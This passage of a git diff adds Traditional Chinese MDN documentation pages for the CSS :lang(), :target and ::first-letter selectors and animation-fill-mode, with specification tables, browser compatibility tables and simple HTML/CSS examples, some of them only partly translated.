+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>配對節點不需要具有父節點。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>初始定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{Cssxref(":first-child")}}</li>
+ <li>{{Cssxref(":last-of-type")}}</li>
+ <li>{{Cssxref(":nth-of-type")}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/_colon_lang/index.html b/files/zh-tw/web/css/_colon_lang/index.html
new file mode 100644
index 0000000000..f79d142f09
--- /dev/null
+++ b/files/zh-tw/web/css/_colon_lang/index.html
@@ -0,0 +1,98 @@
+---
+title: ':lang()'
+slug: 'Web/CSS/:lang'
+translation_of: 'Web/CSS/:lang'
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>:lang()</code></strong> 是一種 <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes">偽類 ( pseudo-class )</a>。它會根據括號中指定的語系，來選擇使用的元素。</p>
+
+<pre class="brush: css no-line-numbers">/* 選取任何語言屬性為英文 (en) 的 &lt;p&gt; */
+p:lang(en) {
+  quotes: '\201C' '\201D' '\2018' '\2019';
+}</pre>
+
+<div class="note">
+<p><strong>注意：</strong> 在 HTML 中，語言是通過 {{htmlattrxref("lang")}} 屬性和 {{HTMLElement("meta")}} 元素的組合來決定的, 也可能是通過協議的信息來確定 (例如 HTTP 表頭). 對於其他文檔類型，也可能存在其他用於確定語言的方法。</p>
+</div>
+
+<h2 id="語法_Syntax">語法 Syntax</h2>
+
+<h3 id="語法格式_Formal_syntax">語法格式 Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="參數_Parameter">參數 Parameter</h3>
+
+<dl>
+ <dt><code>&lt;language-code&gt;</code></dt>
+ <dd>{{cssxref("&lt;string&gt;")}} 代表你要指定的語言。可接受的值為 <a href="/en-US/docs/Web/HTML">HTML</a> 規範中指定的值。</dd>
+</dl>
+
+<h2 id="範例_Example">範例 Example</h2>
+
+<p>在此例中，<code>:lang()</code> 偽類 會依據 “引用元素 quote” ({{htmlElement("q")}}) 的父層來選擇 <a href="/en-US/docs/Web/CSS/Child_selectors">子組合子 ( child combinators )</a>。 請注意，此處演示的方法並不是唯一的，並且最好的方式，是依據文檔類型來確定。還要注意的是， {{glossary("Unicode")}} 的值，有明確指定到那些你要使用的字符。</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div lang="en"&gt;&lt;q&gt;This English quote has a &lt;q&gt;nested&lt;/q&gt; quote inside.&lt;/q&gt;&lt;/div&gt;
+&lt;div lang="fr"&gt;&lt;q&gt;This French quote has a &lt;q&gt;nested&lt;/q&gt; quote inside.&lt;/q&gt;&lt;/div&gt;
+&lt;div lang="de"&gt;&lt;q&gt;This German quote has a &lt;q&gt;nested&lt;/q&gt; quote inside.&lt;/q&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:lang(en) &gt; q { quotes: '\201C' '\201D' '\2018' '\2019'; }
+:lang(fr) &gt; q { quotes: '« ' ' »'; }
+:lang(de) &gt; q { quotes: '»' '«' '\2039' '\203A'; }
+</pre>
+
+<h3 id="結果_Result">結果 Result</h3>
+
+<p>{{EmbedLiveSample('Example', 350)}}</p>
+
+<h2 id="技術規格_Specifications">技術規格 Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格 Specification</th>
+   <th scope="col">狀態 Status</th>
+   <th scope="col">註 Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#lang-pseudo', ':lang()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Adds wildcard language matching and comma-separated list of languages.<br>
+    添加萬用字符語言匹配，且逗號分隔語言列表。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#lang-pseudo', ':lang()')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>沒有重大變化。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#lang', ':lang()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>初步定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器兼容性_Browser_compatibility">瀏覽器兼容性 Browser compatibility</h2>
+
+<div>
+<div class="hidden">此頁面上的兼容性表，由結構化數據生成。如果您想為數據做出貢獻，請查看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 並向我們發送拉取請求。</div>
+
+<p>{{Compat("css.selectors.lang")}}</p>
+</div>
+
+<h2 id="其他參考_See_also">其他參考 See also</h2>
+
+<ul>
+ <li>語言相關偽類： {{cssxref(":lang")}}, {{cssxref(":dir")}}</li>
+ <li>HTML {{htmlattrxref("lang")}} 屬性</li>
+ <li><a class="external" href="https://tools.ietf.org/html/bcp47">BCP 47 - Tags for Identifying Languages (BCP 47 - 識別語言的標籤)</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/_colon_target/index.html b/files/zh-tw/web/css/_colon_target/index.html
new file mode 100644
index 0000000000..74d1767fb9
--- /dev/null
+++ b/files/zh-tw/web/css/_colon_target/index.html
@@ -0,0 +1,275 @@
+---
+title: ':target'
+slug: 'Web/CSS/:target'
+translation_of: 'Web/CSS/:target'
+---
+<div>{{CSSRef}}</div>
+
+<p>The<code> :target </code><a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> represents the unique element, if any, with an <strong>id</strong> matching the fragment identifier of the URI of the document..</p>
+
+<p>URIs with fragment identifiers link to a certain element within the document, known as the <em>target element</em>. For instance, here is a URI pointing to an <em>anchor</em> named <span style="border: 1px dotted gray;">section2</span>:<br>
+ <code class="plain">http://example.com/folder/document.html<code style="border: 1px dotted gray;">#section2</code></code><br>
+ The <em>anchor</em> can be any element with an<code> id </code>attribute, e.g.<code> &lt;h1 id="<span style="border: 1px dotted gray;">section2</span>"&gt; </code>in our example. The <em>target element</em><code> h1 </code>can be represented by the<code> :target </code>pseudo-class.</p>
+
+<div class="note"><strong>Note:</strong> The<code> id </code>attribute was new in HTML 4 (December 1997).  In old-style HTML <code>&lt;a&gt;</code> is a target element.  The<code> :target </code>pseudo-class applies to those targets as well.</div>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush:css">:target { outline: solid red }  /* draw a red, solid line around the target element */
+</pre>
+
+<pre class="brush:css">/* example code for userContent.css or any web pages;
+   a red/yellow arrow indicates the target element */
+
+:target {
+ -webkit-box-shadow: 0.2em 0.2em 0.3em #888;
+    -moz-box-shadow: 0.2em 0.2em 0.3em #888;
+         box-shadow: 0.2em 0.2em 0.3em #888;
+}
+
+:target:before {
+  font:           70% Arial,"Nimbus Sans L",sans-serif !important;
+  content:        "\25ba";  /* ► */
+  color:          red;
+  background:     gold;
+  border:         solid thin;
+  padding-left:   1px;
+  display:        inline-block;
+  margin-right:   0.13em;
+  vertical-align: 20%;
+}
+</pre>
+
+<h3 id="Working_with_display_none_elements…">Working with display: none elements…</h3>
+
+<p>The <code>:target</code> pseudo-class also works fine with <strong>undisplayed elements</strong>:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;:target pseudoclass example&lt;/title&gt;
+&lt;style&gt;
+#newcomment {
+  display: none;
+}
+
+#newcomment:target {
+  display: block;
+}
+&lt;/style&gt;
+
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;p&gt;&lt;a href="#newcomment"&gt;Add a comment&lt;/a&gt;&lt;/p&gt;
+ &lt;div id="newcomment"&gt;
+  &lt;form&gt;
+  &lt;p&gt;Write your comment:&lt;br /&gt;
+  &lt;textarea&gt;&lt;/textarea&gt;&lt;/p&gt;
+  &lt;/form&gt;
+ &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Creating_a_pure_CSS_lightbox">Creating a pure CSS "lightbox"</h3>
+
+<p>The <code>:target</code> pseudo-class is useful to switch on/off some invisible elements. In this way you can create a pure-CSS lightbox (<a href="https://developer.mozilla.org/files/4607/lightbox.html">live demo</a>).</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;MDN Example &amp;ndash; CSS Lightbox&lt;/title&gt;
+&lt;style type="text/css"&gt;
+div.lightbox {
+  display: none;
+  position: fixed;
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+}
+
+div.lightbox:target {
+  display: table;
+}
+
+div.lightbox figure {
+  display: table-cell;
+  margin: 0;
+  padding: 0;
+  width: 100%;
+  height: 100%;
+  vertical-align: middle;
+}
+
+div.lightbox figure figcaption {
+  display: block;
+  margin: auto;
+  padding: 8px;
+  background-color: #ddbbff;
+  height: 250px;
+  position: relative;
+  overflow: auto;
+  border: 1px #000000 solid;
+  border-radius: 10px;
+  text-align: justify;
+  font-size: 14px;
+}
+
+div.lightbox figure .closemsg {
+  display: block;
+  margin: auto;
+  height: 0;
+  overflow: visible;
+  text-align: right;
+  z-index: 2;
+  cursor: default;
+}
+
+div.lightbox figure .closemsg, div.lightbox figure figcaption {
+  width: 300px;
+}
+
+.closemsg::after {
+  content: "\00D7";
+  display: inline-block;
+  position: relative;
+  right: -20px;
+  top: -10px;
+  z-index: 3;
+  color: #ffffff;
+  border: 1px #ffffff solid;
+  border-radius: 10px;
+  width: 20px;
+  height: 20px;
+  line-height: 18px;
+  text-align: center;
+  margin: 0;
+  background-color: #000000;
+  font-weight: bold;
+  cursor: pointer;
+}
+
+.closemsg::before {
+  content: "";
+  display: block;
+  position: fixed;
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+  background-color: #000000;
+  opacity: 0.85;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;h1&gt;Pure CSS Lightbox&lt;/h1&gt;
+
+&lt;p&gt;Some sample text&amp;hellip;&lt;/p&gt;
+
+&lt;p&gt;[ &lt;a href="#example1"&gt;Open example #1&lt;/a&gt; | &lt;a href="#example2"&gt;Open example #2&lt;/a&gt; ]&lt;/p&gt;
+
+&lt;p&gt;Another sample text&amp;hellip;&lt;/p&gt;
+
+&lt;div class="lightbox" id="example1"&gt;
+  &lt;figure&gt;
+    &lt;a href="#" class="closemsg"&gt;&lt;/a&gt;
+    &lt;figcaption&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec felis enim, placerat id eleifend eu, semper vel sem. Sed interdum commodo enim venenatis pulvinar. Proin mattis lorem vitae diam scelerisque hendrerit. Fusce cursus imperdiet mauris, vitae hendrerit velit dignissim a. Suspendisse potenti. Aenean feugiat facilisis diam, in posuere sapien mattis vel. Proin molestie rutrum diam, pharetra feugiat ligula sollicitudin sed. Etiam cursus diam quis tellus aliquam gravida. Aliquam erat volutpat.&lt;br /&gt;
+    Etiam varius adipiscing mi eget imperdiet. Nulla quis vestibulum leo. Integer molestie massa ut massa commodo in blandit purus aliquam. Mauris sit amet posuere massa. Ut a eleifend augue. Proin sodales mauris nec tellus pharetra dictum.&lt;/figcaption&gt;
+  &lt;/figure&gt;
+&lt;/div&gt;
+
+&lt;div class="lightbox" id="example2"&gt;
+  &lt;figure&gt;
+    &lt;a href="#" class="closemsg"&gt;&lt;/a&gt;
+    &lt;figcaption&gt;Cras risus odio, pharetra nec ultricies et, mollis ac augue. Nunc et diam quis sapien dignissim auctor. Quisque quis neque arcu, nec gravida magna. Etiam ullamcorper augue quis orci posuere et tincidunt augue semper. Maecenas varius augue eu orci auctor bibendum tristique ligula egestas. Morbi pharetra tortor iaculis erat porta id aliquam leo cursus. Ut nec elit vel mauris dapibus lacinia eget sed odio.&lt;/figcaption&gt;
+  &lt;/figure&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-target-pseudo", ":target")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>No changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#target-pseudo", ":target")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器兼容性">瀏覽器兼容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.3")}}</td>
+   <td>9</td>
+   <td>9.5</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1.3")}}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>2.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_the_:target_selector">使用 :target</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/_doublecolon_first-letter/index.html b/files/zh-tw/web/css/_doublecolon_first-letter/index.html
new file mode 100644
index 0000000000..b9d4c7a6f9
--- /dev/null
+++ b/files/zh-tw/web/css/_doublecolon_first-letter/index.html
@@ -0,0 +1,206 @@
+---
+title: '::first-letter (:first-letter)'
+slug: 'Web/CSS/::first-letter'
+translation_of: 'Web/CSS/::first-letter'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="概要">概要</h2>
+
+<p><code>::first-letter</code> <a href="/zh-TW/CSS" title="CSS">CSS</a> <a href="/zh-TW/CSS/Pseudo-elements" title="Pseudo-elements">虛擬元素</a>選取了一個區塊第一行的第一個字母，如果那一行前面沒有其他內容（例如圖片或是行內表格）。</p>
+
+<p>The first letter of an element is not necessarily trivial to identify:</p>
+
+<ul>
+ <li>Punctuation, that is any characters defined in Unicode in the <em>open</em> (Ps), <em>close</em> (Pe), <em>initial quote</em> (Pi), <em>final quote</em> (Pf) and <em>other punctuation</em> (Po) classes, preceding or immediately following the first letter is also matched by this pseudo-element.</li>
+ <li>Similarly some languages have digraphs that are always capitalized together, like the <code>IJ</code> in Dutch. In these rare cases, both letters of the digraph should be matched by the <code>::first-letter</code> pseudo-element. (This is poorly supported by browsers, check the <a href="/En/CSS/::first-letter#Browser_compatibility" title="https://developer.mozilla.org/En/CSS/::first-letter#Browser_compatibility">browser compatibility table</a>).</li>
+ <li>Finally, a combination of the {{ cssxref("::before") }} pseudo-element and the {{ cssxref("content") }} property may inject some text at the beginning of the element. In that case, <code>::first-letter</code> will match the first letter of this generated content.</li>
+</ul>
+
+<p>A first line has meaning only in a <a href="/en/CSS/Visual_formatting_model#Block-level_elements_and_block_boxes" title="https://developer.mozilla.org/en/CSS/Visual_formatting_model#Block-level_elements_and_block_boxes">block-container box</a>, therefore the <code>::first-letter</code> pseudo-element has an effect only on elements with a {{ cssxref("display") }} value of <code>block</code>, <code>inline-block</code>, <code>table-cell</code>, <code>list-item</code> or <code>table-caption</code>. In all other cases, <code>::first-letter</code> has no effect.</p>
+
+<p>Only a small subset of all CSS properties can be used inside a declaration block of a CSS ruleset containing a selector using the <code>::first-letter</code> pseudo-element:</p>
+
+<ul>
+ <li>All font properties : {{ Cssxref("font") }}, {{ Cssxref("font-style") }}, {{cssxref("font-feature-settings")}}, {{cssxref("font-kerning")}}, {{cssxref("font-language-override")}}, {{cssxref("font-stretch")}}, {{cssxref("font-synthesis")}}, {{ Cssxref("font-variant") }}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{cssxref("font-size-adjust")}}, {{ Cssxref("line-height") }} and {{ Cssxref("font-family") }}.</li>
+ <li>All background properties : {{ Cssxref("background") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{cssxref("background-clip")}}, {{cssxref("background-origin")}}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}, {{ cssxref("background-size") }}, {{ Cssxref("background-attachment") }}, and {{cssxref("background-blend-mode")}}.</li>
+ <li>All margin properties: {{ Cssxref("margin") }}, {{ Cssxref("margin-top") }}, {{ Cssxref("margin-right") }}, {{ Cssxref("margin-bottom") }}, {{ Cssxref("margin-left") }}.</li>
+ <li>All padding properties: {{ Cssxref("padding") }}, {{ Cssxref("padding-top") }}, {{ Cssxref("padding-right") }}, {{ Cssxref("padding-bottom") }}, {{ Cssxref("padding-left") }}.</li>
+ <li>All border properties: the shorthands {{ Cssxref("border") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}, {{ cssxref("border-width") }}, {{ cssxref("border-radius") }}, {{cssxref("border-image")}}, and the longhands properties.</li>
+ <li>The {{ cssxref("color") }} property.</li>
+ <li>The {{ cssxref("text-decoration") }}, {{cssxref("text-shadow")}}, {{ cssxref("text-transform") }}, {{ cssxref("letter-spacing") }}, {{ cssxref("word-spacing") }} (when appropriate), {{ cssxref("line-height") }}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, {{cssxref("box-shadow")}}, {{ cssxref("float") }}, {{ cssxref("vertical-align") }} (only if <code>float</code> is <code>none</code>) CSS properties.</li>
+</ul>
+
+<p>As this list will be extended in the future, it is recommended that you not use any other properties inside the declaration block, in order to keep the CSS future-proof.</p>
+
+<div class="note">
+<p>In CSS 2, pseudo-elements were prefixed with a single colon character. As pseudo-classes were also following the same convention, they were indistinguishable. To solve this, CSS 2.1 changed the convention for pseudo-elements. Now a pseudo-element is prefixed with two colon characters, and a pseudo-class is still prefixed with a single colon.</p>
+
+<p>As several browsers already implemented the CSS 2 version in a release version, all browsers supporting the two-colon syntax also support the old one-colon syntax.</p>
+
+<p>If legacy browsers must be supported, <code>:first-letter</code> is the only viable choice; if not, <code>::first-letter</code> is preferred.</p>
+</div>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>Make the first letter of every paragraph red and big.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
+  ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo
+  dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est. Lorem ipsum dolor
+  sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy amet.&lt;/p&gt;
+&lt;p&gt;Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.&lt;/p&gt;
+&lt;p&gt;Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
+  aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit
+  esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et
+  iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait
+  nulla facilisi.&lt;/p&gt;
+&lt;p&gt;-The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;_The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;"The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;'The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;*The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;#The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;「特殊的汉字标点符号开头。&lt;/p&gt;
+&lt;p&gt;《特殊的汉字标点符号开头。&lt;/p&gt;
+&lt;p&gt;“特殊的汉字标点符号开头。&lt;/p&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">p::first-letter { /* Use :first-letter if support for IE 8 or earlier is needed */
+  color: red;
+  font-size: 130%;
+}</pre>
+
+<h3 id="Output">Output</h3>
+
+<p>{{ EmbedLiveSample('Example', 679, 390) }}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Pseudo-Elements', '#first-letter-pseudo', '::first-letter')}}</td>
+   <td>{{ Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Generalized allowed properties to typesetting, text decoration and inline layout properties, {{ cssxref("opacity") }} and {{ cssxref("box-shadow") }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow with ::first-letter')}}</td>
+   <td>{{ Spec2('CSS3 Text Decoration')}}</td>
+   <td>Allowed the usage of {{cssxref("text-shadow")}} with <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#first-letter', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Defined edge-case behavior like in list items, or with language specific behavior (like the Dutch digraph <code>IJ</code>). The two-colon syntax for pseudo-elements has been introduced.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#first-letter', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No significant change, though CSS Level 2 still used the one-colon syntax.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#the-first-letter-pseudo-element', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>The initial definition used the one-colon syntax.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>9.0</td>
+   <td>7.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td>Old one-colon syntax (<code>:first-letter</code>)</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>5.5</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td>Support for the Dutch digraph <code>IJ</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }} {{ bug("92176") }} </td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Old one-colon syntax (<code>:first-letter</code>)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support for the Dutch digraph <code>IJ</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{cssxref("::first-line")}} 虛擬元素。</li>
+</ul>
diff --git a/files/zh-tw/web/css/animation-fill-mode/index.html b/files/zh-tw/web/css/animation-fill-mode/index.html
new file mode 100644
index 0000000000..9ac0552304
--- /dev/null
+++ b/files/zh-tw/web/css/animation-fill-mode/index.html
@@ -0,0 +1,158 @@
+---
+title: animation-fill-mode
+slug: Web/CSS/animation-fill-mode
+translation_of: Web/CSS/animation-fill-mode
+---
+<div> </div>
+
+<p><strong><code>animation-fill-mode</code></strong>  <a href="/en/CSS" title="CSS">CSS</a> 属性指定CSS动画应该如何在其执行前后的样式展示情况。</p>
+
+<pre class="brush: css no-line-numbers">/* Single animation */
+animation-fill-mode: none;
+animation-fill-mode: forwards;
+animation-fill-mode: backwards;
+animation-fill-mode: both;
+
+/* Multiple animations */
+animation-fill-mode: none, backwards;
+animation-fill-mode: both, forwards, none;
+</pre>
+
+<p>使用提示<code> animation </code>来一次设置所有动画属性通常很方便。</p>
+
+<h2 id="语法">语法</h2>
+
+<h3 id="属性值">属性值</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>不执行动画时，动画不会应用任何样式。该元素会使用其<strong><code>keyframes</code></strong>关键动画帧规则来显示动画。这是默认值。</dd>
+ <dt><code>forwards</code></dt>
+ <dd>动画执行后停留到最后一个关键帧动画的计算值，<code><strong>简单来说执行结束动画会停留到结束时候的状态</strong></code>，不会是动画执行之前的效果。比如一个元素从左往右运动，添加当前属性值 <strong><code>forwards</code></strong> 元素会停留到动画执行结束后的右边而不是最初的左边。可以看以下图</dd>
+ <dt><a href="https://gitee.com/yoonasy/externalLink/raw/master/animation-fill-mode_forwards.gif"><img alt="" src="https://gitee.com/yoonasy/externalLink/raw/master/animation-fill-mode_forwards.gif" style="height: 736px; width: 1723px;"></a></dt>
+ <dd>当然最后动画停留显示的关键帧会取决于 <code>"animation-direction"</code> 和 <code>"animation-iteration-count"</code>这两个属性 运行方向和运行次数:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col"><code>animation-iteration-count</code></th>
+    <th scope="col">last keyframe encountered</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code></td>
+    <td>偶数或奇数值</td>
+    <td><code>100%</code> 或 <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code></td>
+    <td>偶数或奇数值</td>
+    <td><code>0%</code> 或 <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>偶数值</td>
+    <td><code>0%</code> 或 <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>奇数值</td>
+    <td><code>100%</code> 或 <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>偶数值</td>
+    <td><code>100%</code> 或 <code>to</code></td>
